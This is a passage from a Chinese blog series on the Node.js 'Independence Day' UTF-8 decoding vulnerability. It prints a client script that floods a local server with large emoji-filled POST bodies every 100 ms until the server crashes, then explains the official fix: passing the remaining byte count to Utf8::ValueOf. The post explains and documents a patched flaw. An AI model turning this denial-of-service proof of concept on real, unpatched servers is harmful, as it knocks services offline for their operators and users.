聊聊Node.js 独立日漏洞(3)

由于读取脏内存的数据并且需要满足utf8编码规则存在一定的概率,所以客户端得不断的向服务器post,为了加快服务器crash,我们发送稍微大点的buffer

var net = require('net'); var CRLF = '\r\n'; function send () { var connect = net.connect({ 'host':'127.0.0.1', 'port':3000 }, function(){ //console.log('connected',new Date()); }); sendRequest(connect,'/post'); } send(); setInterval(function(){ send() },100); var i=0; function sendRequest(connect, path) { var smile = Buffer(4); smile[0] = 0xf0; smile[1] = 0x9f; smile[2] = 0x98; smile[3] = 0x8a; smile = smile.toString(); var buf = Buffer(Array(16385).join(smile)).slice(0,-3); connect.write('POST '+path+' HTTP/1.1'); connect.write(CRLF); connect.write('Host: 127.0.0.1'); connect.write(CRLF); connect.write('Connection: keep-alive'); connect.write(CRLF); connect.write('Content-Length:'+buf.length); connect.write(CRLF); connect.write('Content-Type: application/json;charset=utf-8'); connect.write(CRLF); connect.write(CRLF); connect.write(buf); console.log(i++); }

启动服务器后,执行client脚本发现服务器很快就crash了。

漏洞修复

了解漏洞原理后修复其实非常简单,主要原因就是调用Utf8::ValueOf解析字符时会读取到符合编码规则的脏数据,而这个是因为传入的第二个参数是常量4,即使最后只剩一个字节时还继续读取。node官方的做法是调用此方法时传入剩余待解码的字节数,这样解析到最后一个字节时就不会继续读取到脏数据,自然也就不会造成断言失败或者死循环导致进程crash了。

下面的内容你可能也喜欢

如何在CentOS 7安装Node.js

Ubuntu 14.04下搭建Node.js开发环境 

Ubunru 12.04 下Node.js开发环境的安装配置

Node.Js入门[PDF+相关代码]

Node.js开发指南 高清PDF中文版 +源码

Node.js入门开发指南中文版

Ubuntu 编译安装Node.js

Node.js 的详细介绍请点这里
Node.js 的下载地址请点这里

内容版权声明:除非注明,否则皆为本站原创文章。

转载注明出处:https://www.heiqu.com/e34e36c4631785d82b8af3403f3c3cf4.html